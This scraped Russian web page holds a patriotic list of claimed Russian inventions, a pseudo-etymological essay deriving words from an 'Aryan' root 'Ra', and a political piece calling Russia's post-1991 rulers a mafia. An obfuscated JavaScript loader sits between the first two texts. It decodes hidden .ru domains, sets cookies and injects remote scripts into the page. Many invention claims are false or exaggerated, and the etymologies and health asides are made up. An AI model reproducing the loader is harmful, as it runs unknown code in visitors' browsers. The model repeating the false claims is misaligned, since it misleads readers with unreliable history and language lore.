Откройте свой Мир!

Когда вам в следующий раз скажут, что Россия — это родина лаптей и балалаек, усмехнитесь этому человеку в лицо и перечислите хотя бы 10 пунктов из  списка. Стыдно не знать такие вещи.

И это лишь малая часть:

1. П.Н. Яблочков и А.Н. Лодыгин — первая в мире электрическая лампочка
2. А.С. Попов — радио
3. В.К.Зворыкин (первый в мире электронный микроскоп, телевизор и телевещание)
4. А.Ф. Можайский — изобретатель первого в мире самолета
5. И.И. Сикорский — великий авиаконструктор, создал первый в мире вертолет, первый в мире бомбардировщик
6. А.М. Понятов — первый в мире видеомагнитофон
7. С.П.Королев — первая в мире баллистическая ракета, космический корабль, первый спутник Земли
8. А.М.Прохоров и Н.Г. Басов — первый в мире квантовый генератор — мазер
9. С. В.Ковалевская (первая в мире женщина — профессор)
10. С.М. Прокудин-Горский — первая в мире цветная фотография
11. А.А.Алексеев — создатель игольчатого экрана
12. Ф.А. Пироцкий — первый в мире электрический трамвай
13. Ф.А.Блинов — первый в мире гусеничный трактор
14. В.А. Старевич — объемно-мультипликационное кино
15. Е.М. Артамонов — изобрёл первый в мире велосипед с педалями, рулем, поворачивающимся колесом
16. О.В. Лосев — первый в мире усилительный и генерирующий полупроводниковый прибор
17. В.П. Мутилин — первый в мире навесной строительный комбайн
18. А. Р. Власенко — первая в мире зерноуборочная машина
19. В.П. Демихов — первым в мире осуществил пересадку легких и первым создал модель искусственного сердца
20. А.П. Виноградов — создал новое направление в науке — геохимию изотопов
21. И.И. Ползунов — первый в мире тепловой двигатель
22. Г. Е. Котельников — первый ранцевый спасательный парашют
23. И.В. Курчатов — первая в мире АЭС (Обнинская), также под его руководством была разработана первая в мире водородная бомба мощностью 400 кт, подорванная 12 августа 1953 года. Именно Курчатовский коллектив разработал термоядерную бомбу РДС-202 (Царь-бомба) рекордной мощности 52 000 кт.
24. М. О. Доливо-Добровольский — изобрёл систему трехфазного тока, построил трехфазный трансформатор, чем поставил точку в споре сторонников постоянного (Эдисон) и переменного тока
25. В. П. Вологдин — первый в мире высоковольтный ртутный выпрямитель с жидким катодом, разработал индукционные печи для использования токов высокой частоты в промышленности
26. С.О. Костович — создал в 1879 году первый в мире бензиновый двигатель
27. В.П.Глушко — первый в мире эл/термический ракетный двигатель 28. В. В. Петров — открыл явление дугового разряда
29. Н. Г. Славянов — дуговая электросварка
30. И. Ф. Александровский — изобрёл стереофотоаппарат
31. Д.П. Григорович — создатель гидросамолета
32. В.Г.Федоров — первый в мире автомат
33. А.К.Нартов — построил первый в мире токарный станок с подвижным суппортом
34. М.В.Ломоносов — впервые в науке сформулировал принцип сохранения материи и движения, впервые в мире начал читать курс физической химии, впервые обнаружил на Венере существование атмосферы
35. И.П.Кулибин — механик, разработал проект первого в мире деревянного арочного однопролетного моста, изобретатель прожектора
36. В.В.Петров — физик, разработал самую большую в мире гальваническую батарею; открыл электрическую дугу
37. П.И.Прокопович — впервые в мире изобрёл рамочный улей, в котором применил магазин с рамками
38. Н.И.Лобачевский — Математик, создатель «неевклидовой геометрии» 39. Д.А.Загряжский — изобрёл гусеничный ход
40. Б.О.Якоби — изобрёл гальванопластику и первый в мире электродвигатель с непосредственным вращением рабочего вала
41. П.П.Аносов — металлург, раскрыл тайну изготовления древних булатов
42. Д.И.Журавский — впервые разработал теорию расчетов мостовых ферм, применяемую в настоящее время во всем мире
43. Н.И.Пирогов — впервые в мире составил атлас “Топографическая анатомия”, не имеющий аналогов, изобрел наркоз, гипс и многое другое 44. И.Р. Германн — впервые в мире составил сводку урановых минералов 45. А.М.Бутлеров — впервые сформулировал основные положения теории строения органических соединений
46. И.М.Сеченов — создатель эволюционной и других школ физиологии, опубликовал свой основной труд “Рефлексы головного мозга”
47. Д.И.Менделеев — открыл периодический закон химических элементов, создатель одноименной таблицы
48. М.А.Новинский — ветеринарный врач, заложил основы экспериментальной онкологии
49. Г.Г.Игнатьев — впервые в мире разработал систему одновременного телефонирования и телеграфирования по одному кабелю
50. К.С.Джевецкий — построил первую в мире подводную лодку с электродвигателем
51. Н.И.Кибальчич — впервые в мире разработал схему ракетного летательного аппарата
52. Н.Н.Бенардос — изобрёл электросварку
53. В.В.Докучаев — заложил основы генетического почвоведения
54. В.И.Срезневский — Инженер, изобрёл первый в мире аэрофотоаппарат 55. А.Г.Столетов — физик, впервые в мире создал фотоэлемент, основанный на внешнем фотоэффекте
56. П.Д.Кузьминский — построил первую в мире газовую турбину радиального действия
57. И.В. Болдырев — первая гибкая светочувствительная негорючая пленка, легла в основу создания кинематографа
58. И.А.Тимченко — разработал первый в мире киноаппарат
59. С.М.Апостолов-Бердичевский и М.Ф.Фрейденберг — создали первую в мире автоматическую телефоннуюстанцию
60. Н.Д.Пильчиков — физик, впервые в мире создал и успешно демонстрировал систему беспроводного управления
61. В.А.Гассиев — инженер, построил первую в мире фотонаборную машину
62. К.Э.Циолковский — основоположник космонавтики
63. П.Н.Лебедев — физик, впервые в науке экспериментально доказал существование давления света на твердые тела
64. И.П.Павлов — создатель науки о высшей нервной деятельности
65. В.И.Вернадский — естествоиспытатель, создатель многих научных школ
66. А.Н.Скрябин — композитор, впервые в мире использовал световые эффекты в симфонической поэме “Прометей”
67. Н.Е.Жуковский — создатель аэродинамики
68. С.В.Лебедев — впервые получил искусственный каучук
69. Г.А.Тихов — астроном, впервые в мире установил, что Земля при наблюдении ее из космоса должна иметь голубой цвет. В дальнейшем, как известно, это подтвердилось при съемках нашей планеты из космоса
70. Н.Д.Зелинский — разработал первый в мире угольный высокоэффективный противогаз
71. Н.П. Дубинин — генетик, открыл делимость гена
72. М.А. Капелюшников — изобрел турбобур в 1922 году
73. Е.К. Завойский открыл электрический парамагнитный резонанс
74. Н.И. Лунин — доказал, что в организме живых существ есть витамины
75. Н.П. Вагнер — открыл педогенез насекомых
76. Святослав Федоров — первый в мире провёл операцию по лечению глаукомы
77. С.С. Юдин — впервые применил в клинике переливание крови внезапно умерших людей
78. А.В. Шубников — предсказал существование и впервые создал пьезоэлектрические текстуры
79. Л.В. Шубников — эффект Шубникова-де Хааза (магнитные свойства сверхпроводников)
80. Н.А. Изгарышев — открыл явление пассивности металлов в неводных электролитах
81. П.П. Лазарев — создатель ионной теории возбуждения
82. П.А. Молчанов — метеоролог, создал первый в мире радиозонд
83. Н.А. Умов — физик, уравнение движения энергии, понятие потока энергии; кстати, первым объяснил практически и без эфира заблуждения теории относительности
84. Е.С. Федоров — основоположник кристаллографии
85. Г.С. Петров — химик, первое в мире синтетическое моющее средство 86. В.Ф. Петрушевский — ученый и генерал, изобрел дальномер для артиллеристов
87. И.И. Орлов — изобрел способ изготовления тканых кредитных билетов и способ однопрогонной многократной печати (орловская печать)
88. Михаил Остроградский — математик, формула О. (кратный интеграл)
89. П.Л. Чебышев — математик, многочлены Ч. (ортогональная система функций), параллелограмм
90. П.А. Черенков — физик, излучение Ч. (новый оптический эффект), счетчик Ч. (детектор ядерных излучений в ядерной физике)
91. Д.К. Чернов — точки Ч. (критические точки фазовых превращений стали)
92. В.И. Калашников — это не тот Калашников, а другой, который первым в мире оснастил речные суда паровой машиной с многократным расширением пара
93. А.В. Кирсанов — химик-органик, реакция К. (фосфозореакция)
94. А.М. Ляпунов — математик, создал теорию устойчивости, равновесия и движения механических систем с конечным числом параметров, а также теорему Л. (одна из предельных теорем теории вероятности)
95. Дмитрий Коновалов — химик, законы Коновалова (упругости парарастворов)
96. С.Н. Реформатский — химик-органик, реакция Реформатского
97. В.А.Семенников — металлург, первым в мире осуществил бессемерование медного штейна и получил черновую медь
98. И.Р. Пригожин — физик, теорема П. (термодинамика неравновесных процессов)
99. М.М. Протодьяконов — ученый, разработал общепринятую в мире шкалу крепости горных пород
100. М.Ф. Шостаковский — химик-органик, бальзам Ш. (винилин)
101. М.С. Цвет — метод Цвета (хромотография пигментов растений)
102. А.Н. Туполев — сконструировал первый в мире реактивный пассажирский самолет и первый сверхзвуковой пассажирский самолет 103. А.С. Фаминцын — физиолог растений, первым разработал метод осуществления фотосинтетических процессов при искусственном освещении
104. Б.С. Стечкин — создал две великих теории — теплового расчета авиационных двигателей и воздушно-реактивных двигателей
105. А.И. Лейпунский — физик, открыл явление передачи энергии возбужденными атомами имолекулами свободным электронам при столкновениях
106. Д.Д. Максутов — оптик, телескоп М. (менисковая система оптических приборов)
107. Н.А. Меншуткин — химик, открыл влияние растворителя на скорость химической реакции
108. И.И. Мечников — основоположников эволюционной эмбриологии 109. С.Н. Виноградский — открыл хемосинтез
110. В.С. Пятов — металлург, изобрел способ производства броневых плит прокатным методом
111. А.И. Бахмутский — изобрел первый в мире угольный комбайн (для добычи угля)
112. А.Н. Белозерский — открыл ДНК в высших растениях
113. С.С. Брюхоненко — физиолог, создал первый аппарат искусственного кровообращения в мире (автожектор)
114. Г.П. Георгиев — биохимик, открыл РНК в ядрах клеток животных 115. E. А. Мурзин — изобрел первый в мире оптико-электронный синтезатор «АНС»
116. П.М. Голубицкий — русский изобретатель в области телефонии
117. В. Ф. Миткевич — впервые в мире предложил применять трехфазную дугу для сварки металлов
118. Л.Н. Гобято — полковник, первый в мире миномет был изобретен в России в 1904 году
119. В.Г. Шухов — изобретатель, первым в мире применил для строительства зданий и башен стальные сетчатые оболочки
120. И.Ф.Крузенштерн и Ю.Ф.Лисянский — совершили первое русское кругосветное путешествие, изучили острова Тихого океана, описали жизнь Камчатки и о. Сахалин
121. Ф.Ф.Беллинсгаузен и М.П.Лазарев — открыли Антарктиду
122. Первый в мире ледокол современного типа — пароход русского флота “Пайлот” (1864), первый арктический ледокол — “Ермак”, построен в 1899 под руководством С.О. Макарова.
123. В.Н. чев — основоположник биогеоценологии, один из основоположников учения о фитоценозе, его структуре, классификации, динамике, взаимосвязях со средой и его животным населением
124. Александр Hесмеянов, Александр Арбузов, Григорий Разуваев — создание химии элементоорганических соединений.
125. В.И. Левков — под его руководством впервые в мире были созданы аппараты на воздушной подушке
126. Г.Н. Бабакин — русский конструктор, создатель советских луноходов
127. П.Н. Нестеров — первым в мире выполнил на самолете замкнутую кривую в вертикальной плоскости, «мертвую петлю», названную впоследствии «петлей Нестерова»
128. Б. Б. Голицын — стал основателем новой науки сейсмологии 

И все это, лишь незначительная часть вклада русских в мировую науку и культуру. При этом здесь не касаюсь вклада в искусство, в большую часть общественных наук, а это вклад далеко не маленький. И кроме всего прочего, существует вклад в виде явлений и предметов, который я не учитываю в этом исследовании. Таких, как «Автомат Калашникова», «Первый Космонавт», «Первый Экраноплан» и многие другие. Конечно же, перечислить всего невозможно. Но даже столь беглый взгляд, позволяет сделать нужные выводы.window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="19230",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("my.mail.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

ВЕСЬМА НЕОЖИДАННЫЙ СМЫСЛ ЗНАКОМЫХ СЛОВ...Согласно понятиям наших предков, ДУРА — это ЖЕНА УРА или ДУША УРА!
Кстати, по поводу слова ДУРАК.Изначально по ведическим понятиям слово д’УР’акозначало человека, который был учеником УРа, а УРами были иерархи (жители Земли-Урай), добровольно ставшие учителями наших предков после катастрофы 13020 лет назад (на 2011год) и передававшие нашим предкам космические знания. И не случайно в русских сказках Иванушка-дурачок оказывался умнее всех, побеждал всех врагов своей смекалкой и умом.
Намного позже, когда древние значения этих слов были утрачены, дураками называли младших детей в семье. И снова вспомним сказки, где всегда младший сын в семье был по прозвищу Иванушка-дурачок.
А в документах XV-XVII вв. это слово встречается в качестве имени! И именуются так отнюдь не простолюдины, а люди вполне солидные - "Князь Федор Семенович Дурак Кемский", "Князь Иван Иванович Бородатый Дурак Засекин", "московский дьяк Дурак Мишурин". С тех же времен начались и "дурацкие" фамилии - Дуров, Дураков и т.п. Это слово стало нарицательным только с приходом на просторы земли русов христианства.

ДУРАК В РОССИИ БОЛЬШЕ ЧЕМ ДУРАК.
Потому что он радушный и разумный.
О слове “ра”, означавшем у наших предков “свет, связывающий Творца с его творениями”. Именно от него пошли слова, которые мы используем по сей день: ра-дость — что буквально означает “достать до божественного света”, к-ра-сота (стремление к свету), э-ра, рай, х-ра-м, ра-зум (просветленный ум). Есть про¬сто ум, а есть разум. Умный многое знает, а ра¬зумный — понимает то, что он знает. “Ра-душ¬ный” — светлой души человек. Знаете, почему нельзя победить славян, когда они защищают свою землю? Потому что у них боевой клич: “у-ра!” А противоположное по смыслу слово — “увы”. “Вы” — означает “тьма”. Поэтому Бога ни¬когда не зовут на “вы”, а только на “ты”. Нельзя тьмой оскорблять свет. На “ты” обращаются и к святым. Святой — от слова “свет”. Это слово со временем видоизменялось: светлый — Светой — святой. Что же касается “вы”... Это больше подходит для фразы: “Вы свинья, батенька!”
А слово “pa-бота” произошло от “ра” и “бог”, то есть когда ты работаешь, исходит божественный свет.
—Наверное, не к каждой работе это относится...
•Сегодня — конечно, не к каждой. Но ведь основным занятием наших предков было земледелие. Этот язык складывался в то время, когда у них еще не было войн, не было рабовладельчества, не было жертвоприношений, а люди пре¬выше всех чтили волхвов, поэтов и целителей и поклонялись единому Богу Роду. Род создал при-род-у, то, что народилось на природе, называлось народом, а тот, кто не от бога, — у-род или вы-род-ок. Род наделял свои творения судь¬бой или роком. Отсюда “пророк”, “урок”, “срок”. Кстати, при слове “срок” я вспоминаю Ходорковского — человека, соскочившего со своей судьбы.
Земля тогда называлась “ар”, отсюда название этого народа — арии, арийцы. Арий — это землепашец. Смысл слова “ариец” впоследствии был испоганен Гитлером, потому что ненавидимые им славяне — потомки тех самых арийцев, как и немцы. Я убедился в этом, побывав на раскопках Аркаима, города, существовавшего 2,5 тысячи лет назад на территории Южного Урала (кстати, У-ра-л — страна солнца). “Ар-истократ” — означает арий в стократном поколении. “3-ар-я” — то, что за землей, “ц-ар-ь” —“це арий”...
Арийские племена пришли и в Индию, и в Грецию. В языке санскрит имелось множество кор¬ней арийского происхождения и до сих пор осталось — чак-ра, мант-pa, ау-ра, камасут-ра. Видите, везде свет. То же самое и в древнегреческом: культу-ра, гита-pa, литерату-ра, опе-ра, сати-ра.
•Хм-м, а как же “ду-ра”?
— Зря смеетесь! Изначально слово “дура” означало “просветленная женщина”. Оно изменило смысл позже, как и слово “ведьма”. Ведьма тоже была просветленной — ведающая, ведунья. Она лечила, учила своду знаний, называемому “ведами”. Кстати, арийские веды появились гораздо раньше индийских. Ведьма занималась йогой (в то время йогой назывался обряд очищения огнем), поэтому ее еще называют “баба-яга”. Заметьте, в сказках Баба-яга вроде бы отрицательный персонаж, но она ни разу никого не убила, не съела! Кстати, наши православныесвященники никогда не устраивали охоту на ведьм, у нас не было инквизиции, крестовых по¬ходов — в отличие от католиков. Потому что “православие” произошло от двух прекрасных у слов — “правда” и “славить”. А Иван-дурак всегда в конце концов оказывался самым успешным, потому что он pa-душный и ра-зумный. Его братья жили умом, а он — разумом. Между прочим, Бисмарк, который знал русские сказки, писал: “Никогда не замышляйте ничего против России! На любую вашу хитрость Россия ответит своей непредсказуемой глупостью”. Он знал, что наш дурак не так прост, что славянская интуиция порой подсказывает поистине гениальные решения. Вообще, плюс на минус и наоборот поменялимногие слова. Например, тех, кто лечил, называли лекарями, а тех, кто врал — врачами...
•Какие еще слова имеют скрытый смысл?
•В некоторых из них его легко услышать. Например, “спасибо” означает “спаси Бог”, “здравствуй” — пожелание здоровья, “небеса” - это не бесы, это Божья обитель. Слово “богатый” произошло от “бога” и “богатырь” тоже - из слов “бог” и “тырить”! Только “тырить” раньше значило “нести”. Человек, несущий Бога. Отсюда же “монастырь” — то есть себя приносят в храм.
Слово “га” на языке древних ариев означало движение. Смотрите, что получается: но-га, теле-га, доро-га — все это связано с движением! Или цы-га-не — постоянно передвигающийся народ.
“ Ал” — переводится как “главный, величественный, могучий”. Ал-тарь, Ал-лах, ал-тын. К сожа¬лению, получается, что даже ал-коголик — вроде как главный слой населения в России... Что значит “славянин”? “Славь”, “ян” и “инь”. 'Кресть-ян-ин” — то же самое со словом “крест”, три священные категории. “Обезьяна” - она без яна, без положительной человеческой энергии... А вот столь привычное для нас слово “товарищ” произошло от “товар” и “ищи”. Разбойники, на¬падая на торговый караван и убивая людей, кричали друг другу: товар ищи! Поэтому их называли товарищами. И с тех пор, как это слово попало в политику, ничего хорошего от нее ждать не приходится:
И слово “демократия” тоже несет негативный смысл. Вроде бы все нормально: “демос” — народ, “кратос” — власть. Только есть одно “но”. Демос в Древней Греции — это дословно не на¬род в смысле населения страны, а “народ выбирающий”, то есть электорат. А электорат на вы¬борах всегда руководствовался низкими чувствами, он избирал тех, кто обещал дать, обогатить, наказать противников. Поэтому демос — от арийского “демон”. И “демонстрация” тоже — вдумайтесь, ни одна демонстрация еще никогда не приносила пользы, ни в 17-м году, ни в 89-м, когда мы ратовали за Ельцина. Финиш один и тот же — демонический. Да и само слово “выборы” произошло от “вы” (тьма) и “бор” (ветер). Ветер тьмы. А “администрация” — вообще от слова “ад”...
•Эти слова возникали от той самой интуиции нашего народа. Язык ему помогал слышать Бога без посредников. Ничего подобного вы не встретите в других языках. Из-за этого русский очень неточно переводится.
•Переведите на английский выражение “женская доля”! Получится “часть имущества, доставшаяся женщине при разводе”. “Ты жива еще, моя старушка” будет звучать как “ты еще живая, моя старуха”. Это не поэзия, это приговор. Почему Пушкин в перево¬де становится не очень хорошим Байроном? По¬тому что нельзя перевести слово “Лукоморье”! У нас зло — от слова “золото”, ведь оно никому добра не приносило. “Сокровище” — вообще .содержит в себе слово “кровь”, как предупреждение. А вот “счастье” произошло от “соуча-стья”...
Кстати, скрытый смысл обнаруживается даже в фамилиях и названиях. Я уже говорил, что сло¬во “га” значило движение. Га-га-ра — двойное движение к свету. И первым в космос полетел именно Гагарин... А кто развалил СССР? Шушкевич, Кравчук и Ельцин. Смотрите: “шушки” —. означает сплетни, “кравчук” — переводится как “раскройщик ткани”, “ельци” — грабли... Но интереснее всего получилось с Хрущевым. Потому что хрущ — это жук, который поедает любые растения, кроме кукурузы! Племя, которое пришло на Британские острова, поклонялось богу Велесу, отсюда Уэльс. А Велес — бог скота, отсюда Скотландия. На севере жило племя скандов и было два слова: “явь” и “навь” (соответственно, видимый и невидимый мир). Отсюда Скандинавия — сканды, живущие в невидимом мире, потому что там полярная ночь. Поморская Русь — Пруссия. Серебряная Русь — Сербия...
•Как относятся к вашей теории специалисты-языковеды?
- Среди ученых ее сторонников мало. Хотя среди людей, не скованных рамками традиционно¬го научного толкования происхождения слов, их становится все больше. Я предлагаю читателям “МК” присылать свои находки и версии — откуда пошло то или иное слово. Это очень важно — услышать собственный язык. В нем есть все необходимое для выработки национальной идеи. Мы можем носить хорошую импортную одежду и обустраивать по западному примеру свой быт. Но из своего прошлого необходимо взять все самое светлое, сохранить ра-дость и ра-зум. Ведь даже само название нашей страны раньше читалось как “Расея” — сияние божественного света.
Удивительно, но многие слова в русском языке становятся понятны, если знать значение их арийских корней. Но-ра — под светом. Ра-но — еще нет света. Большинство слов с корнем “РА” до сих пор связано со светом. Ве-ра — верить Ра”.
П-ра-вда, По-ра, Э-ра, Ра-й!
Как могло получиться, что такой разумей народ вдруг исчез из истории. Давным-давно на земли ариев начал налолзать ледник. Пришлось нашим предкам сняться со своих северных насиженных мест и пойти за солнцем. Так арии рассеялись —от слова “Рассея” — на множество племен и народов по всему теперешнему нашему материку от Индии до Европы. Зато солнечное Ра вошло в другие языки. Даже в греческий и в латынь: Б-ра, люст-ра, ра-мпа, фа-pa...
Больше всего слов от тех светлых радостных времен сохранилось в русском, украинском, белорусском языках. А также в литовском и латышском. Поэтому я всегда говорю... МЫ ОДИН НАРОД! А наши правительства, которые не находят общего языка, это другой народ. Мы — Украина, Белоруссия и Россия — вообще из одного детства. У нас общие корни.
Почему я считаю, надо прислушаться к языку наших предков. Потому что они создали такой язык, который помогал им слышать Бога без посредников.
Вот такое время было! Не было империй, королей, парламентов, саммитов, рекламных “кампаний, выборов, шоу-бизнеса, “фабрик звезд” с их бесконечными выкидышами. Людиверили в Бога! А когда я слышу, что поет попса, понимаю — язычество. Петь это надо вокруг костра во время жертвоприношений. Причем в жертву приносить того, кто поет.
О! Самое главное, что руководили ариями священнослужители-волхвы. Они считались святыми, им верили. На них хотели быть похожими. Потому что волхвы были подтянутые, спортивные, не обжирались. Слова “поп” не было в то время. Согласитесь, глядя сегодня на большинство наших попов, не очень хочется быть похожими на них. А главное, когда люди видят лица наших попов, они понимают, от какого слова произошло слово “поп”.
Но самое интересное, в древних государствах тоже были таможни. На реках стояли. На волоках. Они сволакивали товар. Поэтому называли таможенников —“сволочи”.
Сегодня модно говорить о “третьем глазе”. А я считаю, не “третий глаз” надо в первую очередь открывать, а “третье ухо”! Слух важнее зрения. Уши слышат даже ночью. Они никогда не устают. Поэтому, в отличие от глаз, даже не моргают.
Так много интересного можно услышать “третьим ухом”.
“Столица” — столиц. “Мужчина” — из двух слов: “муж” и “чин”. Но “чин” — имеется в виду святой чин. Это не значит, что чем выше чиновник, тем лучше как мужик.“Замужество”. Какое слово! На два слова делится — “за” и “мужество”. Медаль можно давать женщинам, кто долго замужем, писать: “За мужество!” раздельно.
Интересно, что никто из англоязычных лингвистов не знает, откуда произошло слово“бизнес”. Если сделка нашим предкам-купцам не приносила прибыли, они говорили: “Остался с носом”. А если прибыль была, то шутили: “Остался без носа!” Однако сделка — дело серьезное. И шутка превратилась в термин! Без носа — бизнес.
Многие слова в истории поменяли с тех пор свой смысл с плюса на минус.
Слово “блуд” — считалось вполне положительным. Блудить — означало ходить. Отсюда — верблюд — (вел-блуд) — великий ходок. Отрицательным слово “блудить” стало, когда мужики стали, как правило, “ходить не туда”. Фея считалась злым существом. Ведьма,наоборот, добрым. От слова “ведать”, как и название первых святых книг на земле “Веды”. Поэтому ведьма — означало целительницу. Она собирала в целое организм. Знала, от чего какая помогает травка. “Травка” — тоже было неплохим словом. От него никого не глючило, не ломало.
А страшными ведьмы казались всем, потому что ели исключительно вегетарианскую еду и поэтому долго жили. Видели, как выглядят вегетарианцы, которые долго живут? У всех лица как российская проселочная дорога в засуху.
Зато здоровыми были — ведали одну из главных заповедей здоровья: “Если не будешь есть еду как лекарство, будешь есть лекарство как еду!”
Интересно, что только в отечественной медицине с древнейших времен сохранилось словосочетание “солнечное сплетение”, обозначающее главный энергетический центр организма, в котором концентрируется солнечная энергия, как в некоем аккумуляторе. Поэтому, когда человек медитирует или находится на природе и радуется солнечному свету, он этот аккумулятор подзаряжает.
И еще, только в русском языке слово “легкие” произошло от слова “легко”. “Легкие” — не просто на¬звание органа, это памятка! Мол, будешь легко думать, значит, будешь легкодышать. Тогда у тебя не будет воспаления легких! Поэтому тот, у кого в наше время часто бывает воспаление легких, сначала должен по-современному — принять антибиотики, а потом, чтобы впредь не болеть, — поменять, облегчить свои мысли.
Сколько ж мудрости было в тех древних словах, когда люди не воевали. Тех, кто лечил болезни, называли “лекари”, а тех, кто рассказывал, как лечить, много при этом говорил, значит, врал, — “врачи”. И, кстати, была удивительная поговорка. Она дошла до нас. Но только сейчас я понял ее смысл: “Главное для больного “своевременный уход врача”. А слово “диета” означало — болезнь. Только произносилось — “диёта”. Поэтому того, кто сидел долго на диете, называли “идиётом”.
Тех, кто слышал, ведал эти первородные истины, называли ГОИ.
А ИЗГОИ — те, у кого не только “третье ухо” закрылось, но и свои два оглохли.
Как Баба-яга говорила: “Гой, если, добрый молодец!”
Правда, сегодня воспитанные за¬падными фильмами дети считают, что она говорила: “Гей, еси, добрый молодец!”
А кого Баба-яга называла — ГОЙ-ем? Иванушку-дурачка!
Великими ГОЯМИ в России были:
АЛЕКСАНДР НЕВСКИЙ, СЕРГЕЙ РАДОНЕЖСКИЙ, АЛЕКСАНДР СУВОРОВ, ГЕОРГИЙ ЖУКОВ, ИВАН ПИРОГОВ, СЕРГЕЙ КОРОЛЕВ, ДАНИИЛ АНДРЕЕВ, ЛЕВ ТОЛСТОЙ, ФЕДОР ДОСТОЕВСКИЙ, ТРЕТЬЯКОВ, ДАЛЬ... и многие другие.

Мафия правит Россией

Как вы думаете, кто захватил власть в России в 1991 году? Демократы? Нет, не угадали. Они только прикидываются демократами.

Капиталисты и буржуа? И тоже не совсем так. Нормальные капиталисты и буржуа в России еще не созрели, 20 лет для этого слишком малый срок. Хотя отчасти данное определение верно, политический строй России можно назвать капитализмом, только очень ранним, наивным, незрелым капитализмом. Но это тоже будет не самое точное определение.

Корпорации? Тоже отчасти верно. Олигархия и семибанкирщина эпохи Ельцина в последние 15 лет трансформировалась в корпоративную систему. В наше время олигархи не открывают двери ногами в Кремле, но они владеют акциями ключевых корпораций, которые более, чем наполовину контролируют экономику и наполняют бюджет России. Газпром, Роснефть, Росатом, Лукойл, Сбербанк, ВТБ и далее по списку. Но говорить, что власть всецело принадлежит им - тоже не совсем верно.

Россией правит мафия!

В 1991 году власть в России захватила мафия, сформировавшаяся в рядах КПСС в период правления Горбачева. Это уже не были коммунисты. У них были партбилеты, но никакими коммунистами они уже не были. Они просто делали карьеру. Карьеру в СССР без партбилета сделать было практически нельзя, поэтому они получили партбилеты. Но их не интересовали коммунистические идеи. Пока членство в КПСС позволяло им подниматься по служебной лестнице, они бережно хранили свои партбилеты и играли роль верных членов партии. Как только они достигли предела в партийном и должностном росте, они быстро сложили партбилеты и захватили власть.

Их никогда не интересовала коммунистическая идея. Потому что, захватив власть, они не стали реформировать КПСС, они просто запретили ее. Они не стали создавать новую компартию на месте старой. Их не интересовал ни новый, ни старый коммунизм.

Их вообще не интересовали идеи, потому что они никогда не ставили во главу угла партийное строительство и идеологическую работу. Они осуществили именно захват власти под прикрытием демократических лозунгов, вскружив народу голову обещаниями свободы, демократии и красивой западной жизни.

Они поступили точно так же, как в 2014 году на Украине поступил Порошенко с командой. Они захватили власть, прикрываясь популярными лозунгами и пользуясь своим высоким положением в партии и правительстве, пользуясь своим партийным авторитетом. В ходе аппаратных интриг они склонили на свою сторону ряд должностных лиц и, делая акцент на народную поддержку их политики демократических преобразований в стране... захватили власть.

Почему их следует называть мафией?

Потому, что это сплоченное, структурированное и разветвленное преступное сообщество, выросшее в рядах КПСС.

Их представители были в разных организациях и ведомствах, в разных республиках. КПСС, КПУ, комсомол, Верховный совет - везде были члены их сообщества.

Почему это преступное сообщество?

Потому, что они захватили власть и тем самым осуществили государственное преступление.

Потому, что они осуществили измену Родине - самое тяжкое из возможных государственных преступлений.

В чем заключалась эта измена?

В том, что они уничтожили то государство, которому должны были служили. В том, что они ликвидировали партию, членами которой сами являлись.

Они предали СССР - ту страну, то государство, которое дало им образование и позволило сделать карьеру. Они предали КПСС - партию, членами которой являлись многие годы.

"Государственная измена - преступление, заключающееся в деянии, сознательно направленном против интереса монарха или государства, подданным или гражданином которого является или которому, так или иначе, служит преступник."

Ельцин, Кравчук и их многочисленные сообщники, члены их преступной группы являлись гражданами СССР и членами КПСС (КПУ). Их действия были направлены против интересов СССР, КПСС, КПУ и были сознательными. Таким образом, их деятельность полностью соответствует определению "государственная измена", а поскольку они действовали как сообщество, преследовавшее цель разделить и преобразовать государство в своих интересах - их следует считать ОПГ (организованной преступной группой) или в просторечии мафией.

Важно отметить, что Ельцин не просто ликвидировал КПСС - он объявил ее "не партией", объявил ее преступным образованием.

Из Указа Президента РСФСР № 169 от 06.11.1991 -

"События 19-21 августа высветили со всей очевидностью тот факт, что КПСС никогда не была партией."

"Деятельность этих структур носила явный антинародный, антиконституционный характер, была прямо связана с разжиганием среди народов страны религиозной, социальной и национальной розни, посягательством на основополагающие, признанные всем международным сообществом права и свободы человека и гражданина."

"Прекратить на территории РСФСР деятельность КПСС, КП РСФСР, а их организационные структуры распустить"

Подписано: Б.Ельцин

Этот Указ подписал руководитель, который много лет и вплоть до получения высшего государственного поста в РСФСР являлся членом КПСС.

